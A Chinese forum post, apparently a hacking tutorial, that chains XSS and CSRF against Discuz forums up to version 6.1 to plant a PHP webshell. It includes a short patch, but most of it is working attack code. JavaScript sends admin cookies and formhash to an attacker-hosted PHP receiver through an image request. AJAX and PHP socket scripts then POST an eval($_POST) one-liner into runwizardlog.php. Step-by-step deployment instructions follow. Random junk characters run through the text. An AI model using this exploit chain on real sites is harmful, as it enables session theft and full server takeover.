Discuz XSS得webshell9 N; W% c }3 }; ]2 q
By racle @tian6.com/ i$ A, W/ h f2 K1 i- Q) S {
欢迎转帖.但请保留版权信息.+ f5 W" {& H w3 s- R
受影响版本 iscuz<=6.1.0,gbk+utf+big51 o$ l/ f3 u4 S& ?7 t( u. |/ v1 a
7 L' h4 @4 y3 a% q% }" ^/ L* Y
新增加完全JS利用版本,只有一个文件.ajax-racle.js.有效版本提升至DZ6.1(理论上7.0版本都可以,但是6.1以上版本都已经默认打上补丁),新增浏览器版本判断,对方浏览器为IE或FIREFOX都有效.0 p! S$ U: m/ m0 M ` a3 g
* l3 e2 A* j) h' o3 E) b
( L, G. i/ l. Q# h7 U ]$ }- F
3天前有朋友在论坛问过,说Discuz有个非论坛创始人获得WEBSHELL的漏洞,是superhei早前发出来的一大堆DISCUZ漏洞之一.见原帖:http://bbs.tian6.com/redirect.ph ... 54794&ptid=8706
6 c3 X. N, E2 l8 Q3 m! Z当时我说一会就弄出来给大家,但是实际上一接触,发现这个漏洞本身需要管理员后台权限,要广泛普遍的利用还是很复杂的,主要是以下几个问题,所以拖到今天才基本完工.5 M! y7 @; y( j
# P) i6 ]5 v1 \5 J6 A2 B1 y4 P
分析和写EXP的过程中,得到t0by57,Superhei的大力帮助.他们PHP和JS都不错的哦!希望大家看这篇文章时,更注意分析和明白的过程,毕竟XSS是目前WEB安全的最大头戏.各种形式:XSIO,Cross Iframe Trick,crsf等等..
; Q7 X; p+ ^4 E本帖补充其中一个FLASH XSS应用方法:配合Discuz得shell-Flash XSS) i) }, s+ ^& M r* H
; e+ e; h" A2 B& c! v0 Y9 U$ c, o2 \- s h. ?: i
----------------------------------------------------------前言分隔线-----------------------------------------------------------------------------
! f& z" {/ c: \) H9 k
5 t7 |# Y! P! u
1 X; \! i$ v* C& B. Iproblem1:漏洞页面runwizard.inc.php数据提交方式为post.需要模拟POST提交.
! I" H& y8 m: D! H2 ]
2 G! \, \% v$ {- b; D! v6 N& e" q% A' ?problem2 ISCUZ论坛在数据提交的时候还验证了referer,因此还要伪造一下.php socket和js都可以伪造referer.# {! I4 X9 R8 M& h/ p$ }; x
. s% l8 O4 w$ H: ~
problem3:formhash()函数采用了用户名+密码+XXX的算法得出,程序本身没办法模拟算出来,于是又耗费了我一段时间,最终想到个傻办法,从源代码里读出来.呵呵.这里是参考了superhei的一个旧EXP想出来的.) Y" P2 s8 s6 B' h& W
4 Y. @) C- B# A1 c& s [: e4 X, h
0 z1 {! k$ z2 O1 }5 {下面,我为大家简单说说这个漏洞的成因和补的办法.这里是有漏洞的文件代码:bbs/admin/runwizard.inc.php,里面有个函数function saverunwizardhistory() {7 k% I% y/ Q1 Y/ d q/ K
) L9 J5 g0 Z4 v$ u
global $runwizardfile, $runwizardhistory;
1 s) @; Q. Y; I- a3 w& z- c2 j* G3 | Y4 O. u
$fp = fopen($runwizardfile, 'w');
, x, {9 l% Q0 t* b# I
- C0 Z' @/ Q8 M fwrite($fp, serialize($runwizardhistory));
# @- q0 ^4 i# L: O8 E6 S! _2 w+ f5 k7 |8 n8 ?
fclose($fp);; | ?2 ~ U/ Y& ]/ m4 U
( ^* s( t+ c0 {% G
}0 Z% v4 Y3 v. c
复制代码serialize($runwizardhistory)直接就写进$fp里.runwizardhistory是什么呢?是论坛一些基本的配置信息,譬如论坛名.反应在论坛后台,位置是:discuz.com/bbs/admincp.php?action=runwizard&step=2.论坛名称,地址等三项信息都没任何过滤.该三项内容任何一项都可以直接写入一句话,提交,然后保存在缓存:bbs/forumdata/logs/runwizardlog.php里.0 y4 @) G2 L( D* p; V# e
以下是修补的办法:function saverunwizardhistory() {
, o4 F5 r9 ]- l5 t4 Z" u M4 B5 _/ N" \/ `4 _+ Z! y; E% [$ G
global $runwizardfile, $runwizardhistory;0 C. B( u. }* B- X2 ]% F
; W$ V. w. L* [0 A3 c* O
$fp = fopen($runwizardfile, 'w');* F* Y* { ~3 F! m
J% R5 v* D" K5 |: M $s = '<?php exit;?>';
8 n* R0 q' w2 w2 e) R V! o% L9 W6 H, E* ?2 V p8 `7 r- C1 R
$s .= serialize($runwizardhistory);) i/ h( |9 K% |" O% H8 |3 t
4 X* n0 q1 h" y% O7 Q fwrite($fp, $s);
7 A4 M# `2 r% b8 i
+ W; N, P5 K( g; A' @ fclose($fp);2 r& T; _' d q* {% `1 Q) t
" g, a) j" p# ?9 Y}! A# |8 e8 L# E2 J- n0 I3 h) L
复制代码加写 '<?php exit;?>';到最前面,退出并且忽略该文件后面所有PHP代码.这么即使里面有一句话,也不能再被执行.
& H I! b5 d; a. T% G' F8 p
D" m' Z0 H; U( a5 m- w7 g
& T8 \9 k9 ], C% [0 Q
2 J7 }2 |$ } i( R# e, T----------------------------------------漏洞的成因和利用方法分隔线-----------------------------------------------------------------------------
) b3 b5 y% r. B3 {2 W- T* y
) j6 g& n' q3 m8 D: q$ f$ r% Q' g. P2 _) @+ W+ l9 W# }, D# Y4 Z
以上是该漏洞的成因和利用方法.大家看到这里,估计也认为这是个鸡肋漏洞了吧,首先要有管理员权限,有后台权限,然后才能上WEBSHELL,实话说,有后台权限,拿SHELL的办法也并不止这一个.所以这个洞的价值,看起来就不大了.当然,这个已经被发布的nday不是我本帖要讲的重点.这里我主要是想告诉大家,将XSS,Crsf和本漏洞联合起来的办法.这样该洞价值就大很多了.; N" ? s9 m+ x6 f0 e
( W, m T4 I( U6 B, ? M我们的思路是:论坛上有个xss点,Crsf flash(的确有,Discuz! member.php xss bug,Discuz! 数据库错误信息xss bug,Discuz! flash Crsf bug,Discuz! admincp.php xss bug,Discuz![flash] xss bug),管理员点击或浏览后,就执行了我们的JS,带他到外部一个JS中,通过JS获得他的COOKIES,获得他的HASH,然后经过外部一个PHP封装SOCKET以POST的形式提交前面说的动作,如果论坛没有补上该问题(目前没几个论坛补了.当然,天阳已经补了.^^),那么就会产生bbs/forumdata/logs/runwizardlog.php这个WEBSHELL.
2 N9 H3 b5 z1 B% o, K( D! g
" i1 A+ C% P3 x0 Z. ?" N+ j6 [这篇文章主要不是给大家个EXP,然后让大家拿着到处乱黑的,主要是讲方法,讲思路.因为这里学问不少.5 u. ?6 c. [/ m, z6 Q
) g1 Z* L. u( j
首先我们要看,怎么通过JS,获得管理员COOKIES,然后把COOKIES传递给最终提交的PHP.获得的办法相信大家都知道,但是传递的办法,譬如以图片形式传递,就非常稳定和实用.是实现AJAX本地语言到服务器语言PHP的好办法.JS部分代码:
9 k2 q# C* ?: t. u
% ^; W' j* r) q" e% U* c5 dvar url="http://目标网站/admincp.php";
4 M% k! ~; L# M& X) v3 z( c5 z' w6 b" U5 Q; E1 i
/*获得cookies*/+ f0 @: x4 `. ]9 D. }
; S$ m/ d: G$ ]* ~$ w- b
function getURL(s) {
3 H. O& r4 @9 J6 J9 ]. n2 G; d& T; H0 j- k3 `, D8 R1 M0 G
var image = new Image();. W& h0 C$ Y5 c, X) L* }
. L) V! `$ G9 W% Y7 j5 A( Qimage.style.width = 0;
7 _2 B2 v7 Q5 Q: `4 x6 f9 G+ _1 \2 l3 p9 J+ q: m! |" A
image.style.height = 0;1 w! O0 g0 u/ O
9 q5 p2 [% `) Q& N6 `image.src = s;9 }* P! W0 N1 B9 q2 u# N
( w1 f$ Y% E( W}! \" ]& W; h/ p& S. R
' }# J7 T! W2 c( S# }8 ~0 B" v2 \1 lgetURL("我们做好的接收cookies的.php?x="+encodeURIComponent(document.cookie)); //这里就通过image变量传给了php
$ O( {: w: T* X+ p复制代码php以get方式接收过来的变量.$cookies=$_GET['x']; M2 { \2 c4 L# K
复制代码同理,hash我也是这么传到PHP里.不过HASH的获得方法也是很有意思的,众所周知,discuz有formhash来保护每个授权访问的唯一性.但是你也可以发现,在论坛页面用户退出的地方,引用了这个hash.我们要做的,就是从页面的源文件里搜索出hash,筛选出来,传递给PHP即可.筛选的办法很多,你有兴趣的话,可以看看我的筛选JS代码(而且这里discuz其实还留了一手,呵呵) 3 e3 Y. A: X( _
, \ o2 g& o$ J- {" X$ ]" R. }, {# r
& {5 F7 K& d+ _6 p* o获得了cookies和hash以后,我们需要结合完整数据,做一次模拟提交,大家可以看看,这个是我之前写好的AJAX提交方式:var url="http://tian6.com/raclebbs/";
- E7 ?" c5 T( g" ~9 |; A: A& b' n8 n9 L3 U/ e4 W6 }) `1 ^9 c
3 ]8 T6 v# G, {) M8 Z( a8 r
; v' l/ X3 O* ~; _. T7 W/*hash*/
" V$ ?7 V, e8 W* V" s) ]* x+ G% M* |: `" b5 n4 H
var xmlHttpReq = new ActiveXObject("MSXML2.XMLHTTP.3.0");
3 ]$ m( ~8 u* t- P4 R( m& Y
/ b0 i/ E: c+ p( O7 ^" zxmlHttpReq.open("GET", url+"admincp.php?action=home", false);) Z' h" O- K1 E% u$ e
7 v9 g8 d, q2 y9 E5 j/ e: d
xmlHttpReq.send();
5 U c7 B' U4 U- c7 S. _% w
2 S Y ~+ t6 Z6 R7 c1 I& hvar resource = xmlHttpReq.responseText;4 S1 ~3 q4 ~/ S# b' Q- b
; |+ ?9 Z3 M/ M4 l6 Z4 ^var numero = resource.search(/formhash/);
+ {0 |# l: U8 o
# v" K3 d+ h& t3 u( {var formhash=encodeURIComponent(resource.substr(numero+17,8));+ c" m: u P% p* l. e$ i
g3 K$ H7 V. \! j( C$ {" ?
1 }, j! `, v) Q0 [, b. v- S" `% t! e" K7 Z J' H3 T2 q
var post="formhash="+formhash+"&anchor=&settingsnew%5Bbbname%5D=1&settingsnew%5Bsitename%5D=<%3Fphp+eval(%24_POST[racle])%3F>racle%40tian6.com&settingsnew%5Bsiteurl%5D=http%3A%2F%2Fwww.comsenz.com%2F&step2submit=%E4%B8%8B%E4%B8%80%E6%AD%A5";//构造要携带的数据
" s" W' t- G, E/ l; R& H9 I% ~/ W# I8 M! Q. Y
xmlHttpReq.open(" OST",url+"admincp.php?action=runwizard&step=3",false);//使用POST方法打开一个到服务器的连接,以异步方式通信 # {5 m1 e" _( ^8 R7 S6 V6 c. J
1 _! g) Q- ]3 n. |9 i
xmlHttpReq.setRequestHeader("Referer", url);
+ |1 ]% p* G" i/ u: ~# i/ v% b
xmlHttpReq.setrequestheader("Accept","image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*");4 n; _ N% r# t+ W% [+ P# V# X( N
; C$ y$ Q2 s1 ^$ `4 a$ y( l
xmlHttpReq.setrequestheader("content-length",post.length);
5 y5 t4 @, c" T& y
+ t) Z4 p" D/ Y) FxmlHttpReq.setrequestheader("content-type","application/x-www-form-urlencoded");
a: K( t& v: ]4 g+ U2 H7 j+ o. J9 X; T6 r& @
xmlHttpReq.send(post);//发送数据- N! d7 N: p; R9 ]' A+ l
复制代码这里HASH我假设正确,这样提交,也无须cookies
5 T! L6 d+ e. P: j H' `8 }, f* a: D" @
再看看以PHP SOCKET形式提交.$sock = fsockopen("$url", 80, $errno, $errstr, 30);& m, T8 l: U( @: F7 g% O' W+ [
! t( Q% I5 L: l0 ?6 J! b, M$ u( [& Vif (!$sock) die("$errstr ($errno)\n");# T. s) z5 c T& {& W
- j! r2 W# n% |$ }) H! O' o
$data = 'formhash='.$hash.'&anchor=&settingsnew%5Bbbname%5D=Discuz&settingsnew%5Bsitename%5D=<%3Fphp+eval(%24_POST[racle])%3F>racle%40tian6.com&settingsnew%5Bsiteurl%5D=http%3A%2F%2Fwww.comsenz.com%2F&step2submit=%E4%B8%8B%E4%B8%80%E6%AD%A5';
2 B" @# S1 e1 X# S1 t Y i( O/ {
9 T1 x: N( B! k/ h8 E
' l! ] M: U; K+ p2 u5 Q6 O4 bfwrite($sock, " OST http://$url/admincp.php?action=runwizard&step=3 HTTP/1.1\r\n");
6 y. S7 H( j, K9 Y3 i2 T4 ^: h& Y/ R1 J& h4 k
fwrite($sock, "Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*\r\n");, ^1 }1 |4 |7 c$ {' w$ j
! K* P" N* h) }fwrite($sock, "Referer: http://$url/admincp.php?action=runwizard&step=2\r\n");, p, \" o/ M8 \ l l
4 u2 w* \; C! s: }; e& j4 S
fwrite($sock, "Accept-Language: zh-cn\r\n");
& S |4 d$ d; r# V7 [
2 A4 X, x6 G, K8 Z' r: }5 \1 f' Ufwrite($sock, "Content-Type: application/x-www-form-urlencoded\r\n");! N" h$ I8 e2 r5 S$ P- W# k
4 V1 ^( Y' \5 g' X2 w
fwrite($sock, "Accept-Encoding: gzip, deflate\r\n");6 w8 e7 D; o% X
6 | p7 _$ B7 Hfwrite($sock, "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; User-agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; http://bsalsa.com) ; User-agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; http://bsalsa.com) (Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)); .NET CLR 1.1.4322; .NET CLR 2.0.50727)\r\n");
4 ~0 Y( C9 D/ W
1 @6 X5 |& H5 T, F7 U1 c: Ffwrite($sock, "Host: $url\r\n");
! b: ?8 w8 x0 O' i6 I2 w. g" K
) h8 t) b9 [3 Y* w. @" Yfwrite($sock, "Content-Length: ".strlen($data)."\r\n");; L3 `* T& @) J2 ~9 Q
7 A6 U4 p8 [0 _+ ^6 t4 w1 _2 A
fwrite($sock, "Connection: Keep-Alive\r\n");( K# V+ q$ Y4 Q1 {
) |2 H0 p6 D2 u4 s
fwrite($sock, "Cache-Control: no-cache\r\n");
& N% S- h! k- E2 V, A/ ^' q! o+ q3 \5 @% o+ }
fwrite($sock, "Cookie:".$cookies."\r\n\r\n");
$ r& f; f4 b5 Y" U
# c8 ]' e7 w9 w/ k3 ?- m5 X- mfwrite($sock, $data);
% Z6 [' ?0 K& ]7 C$ L2 K) _
" f" y- E. {) E, Q Q% k& a/ `$ B F1 X2 B+ H" U: G
+ m' V1 I V- y* j# z! w$headers = "";6 U" [7 g$ b6 T% `9 P, p6 z* u) y
$ A/ l: c2 C! o: t5 _
while ($str = trim(fgets($sock, 4096)))2 g0 R: \( N2 R6 ?: a
$ y2 v i i' x4 a0 H& ^# ?
$headers .= "$str\n";
$ j& m8 U, }+ B- n' ^8 ~- e; A* F* j; q& |% B0 Q( w
echo "\n";% Q# i' z8 n8 l+ c# a& U. J
9 O" H: w! A+ M& R$ O) }8 p$body = "";
: v1 Z/ N, x# N9 k; w7 m
0 f" {3 Z5 s1 X9 }5 T* hwhile (!feof($sock))
7 W% E1 @7 s5 U" @4 n5 ?3 z3 {! L0 c
$body .= fgets($sock, 4096);
0 Z, [" d2 C$ R3 y- n
9 ^0 N* B9 x( i1 |" E8 kfclose($sock);
: c% U8 j% [, c+ R6 u
8 f8 P4 @9 M! ?- vecho $body;
0 C3 W) l- W2 }: B复制代码整个漏洞XSS应用大致如此,下面附上JS文件,PHP封装好的提交文件.利用文件限制一下,已注册用户才可以下载,刚来也没关系,仔细看看前面的分析,你也差不多能写出来.^^+ k: j5 y+ o$ ~! J! z% ]
, e, |* ?& ? O5 o9 o1 s
9 b2 v/ w* s! L, U0 P% H8 ]' _* ]
-------------------------------------------XSS文件分析分隔线-----------------------------------------------------------------------------
( l6 O+ g; m' n8 d$ F) ]* F& A/ R9 ?( o6 \
, r7 R$ N; y! f* Q
1 HP SOCKET利用方法首先打开racle.js
* D' g/ P9 h; l# O9 J' T. y
( s( A5 ^" z. z' j# ]' }, z: Y" P# ~var url="http://tian6.com/raclebbs/admincp.php?action=home"; //改成你要XSS攻击的目标,譬如http://www.discuz.com/admincp.php?action=home8 @9 c( K+ Q5 O Z
8 j. _" ?8 T* E s1 W
( Y ?1 Y% W" o5 G" [$ a, d, y9 Q% ~$ H& e0 Y& I2 \& n
然后打开racle@tian6.php
: o3 v& E' Z u( r% h O) m1 \" `) ^+ u# c p% y& L- P
$url="racle@tian6.com"; //改成你要XSS攻击的目标,譬如www.discuz.com
* J( F5 i/ s+ G) e5 E, P
8 {, [! ~) m& P+ g" p( G" [$ y1 N) r8 P
$ j8 |) Y& @7 N d) e# _. o
如果目标论坛为6.1版本,无须再改动.如果目标为6.0或以下版本,请修改:9 n1 i% f- r" X
& z. o5 n1 Q4 q* JgetURL("racle@tian6.php?resource_hash="+encodeURIComponent(resource.substr(numero+17,8))+"&x="+encodeURIComponent(document.cookie));
+ _5 V1 h8 d k/ Y6 L% p2 r: Y4 t' _7 U' W Y R
为% V* |* X% n* _! V3 ^( h
- d4 L+ I7 H3 v$ X4 f" `# g3 ]) V
getURL("racle@tian6.php?resource_hash="+encodeURIComponent(resource.substr(numero+9,8))+"&x="+encodeURIComponent(document.cookie));( u% K+ Z9 k0 B; M9 A
复制代码2:JS利用方法打开ajax-racle.js,修改var url="http://tian6.com/raclebbs/";为你要攻击的论坛地址.8 C4 R* S1 f+ S$ k/ O
+ P- a# k% J9 Z2 O( Z9 a( @- p' n. y, t
/ p% W% V3 T" r9 W: z5 O5 I. h$ h& c M2 {* q3 R' Q1 B
如果目标论坛为6.1版本,无须再改动.如果目标为6.0或以下版本,请修改:
1 k+ d6 d- M* ]' {- c: a7 e- E$ I7 ]
; U# u" X2 X+ S& _var formhash=encodeURIComponent(resource.substr(numero+17,8));8 V i" t% e7 ]4 J( y
2 Q/ q& k0 N8 v/ d3 t$ W* V3 B
为
; \! O4 Y! H3 o: R9 f8 X7 n/ U; P6 `4 L* k; l: k0 T
var formhash=encodeURIComponent(resource.substr(numero+9,8));3 @: j. u' f1 e& B' S3 y0 y
复制代码ok.以上两种方法则其一.在攻击前,我们应该先看看论坛打上补丁没有,你可以尝试访问:http://target.com/bbs/forumdata/logs/runwizardlog.php,如果一片空白,那就没戏咯.不是空白就会有些论坛信息出现,但也不代表就肯定存在漏洞,因为可能人家补过之后没有更新过论坛信息而已.目前来说,有8成把握吧.& ~+ _- ^* z/ t
7 L- v5 |6 {6 f! R如果是第一种方法,就把racle.js,还有racle@tian6.php文件上传到一个可以执行PHP的地方,譬如你以前拿下的WEBSHELL里.两个文件需在同一目录下.记得该空间要支持PHP.然后在论坛以<script src=http://你放好的地方/racle.js></script>构造好XSS点.2 k9 I5 ], ~! ~
' p* a e0 Q5 L; O i6 L9 h5 Q1 i
如果是第二种方法,就把ajax-racle.js,上传到一个你以前拿下的WEBSHELL里,然后在论坛以<script src=http://你放好的地方/ajax-racle.js></script>构造好XSS点.
8 `- o& @ q7 y0 ~2 K# E
- Z1 M/ x9 n4 B2 ~不管你用什么方法,等到管理员一点该连接或者浏览一下论坛,他论坛bbs/forumdata/logs/runwizardlog.php里就多了个<?php eval($_POST[racle])?> ^^.赶紧拿控制端连上去吧.
/ F/ @$ B e0 V 1 i' A& X4 g+ A& g Y
|